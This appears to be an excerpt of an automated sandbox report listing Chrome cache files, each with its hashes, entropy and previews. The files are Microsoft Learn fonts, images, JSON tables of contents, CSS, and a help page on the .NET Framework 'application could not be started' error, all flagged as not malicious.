Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25441
Entropy (8bit):	5.152769469811509
Encrypted:	false
SSDEEP:	768:63jAjCjKjvjXLQjt6j+F/XwHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrX:PIFIv11pOVqlh382/rIN1v
MD5:	CCDED74C889AFA3851036BDF0CADB421
SHA1:	E7263595381709693C603531E5F125F10C01641C
SHA-256:	E8577F9831DBFDABD050EB0B30AB35060C7CA337DB0911F7F42C09E6E265AA9D
SHA-512:	3270A6A71CBCA125DADBF9BB3928201D233788CDA14A00DC01865574AC443CADCC2AE80C269657938DC1D9F8F1DB11AAEC48E42D31031635332D9526AF0C9930
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
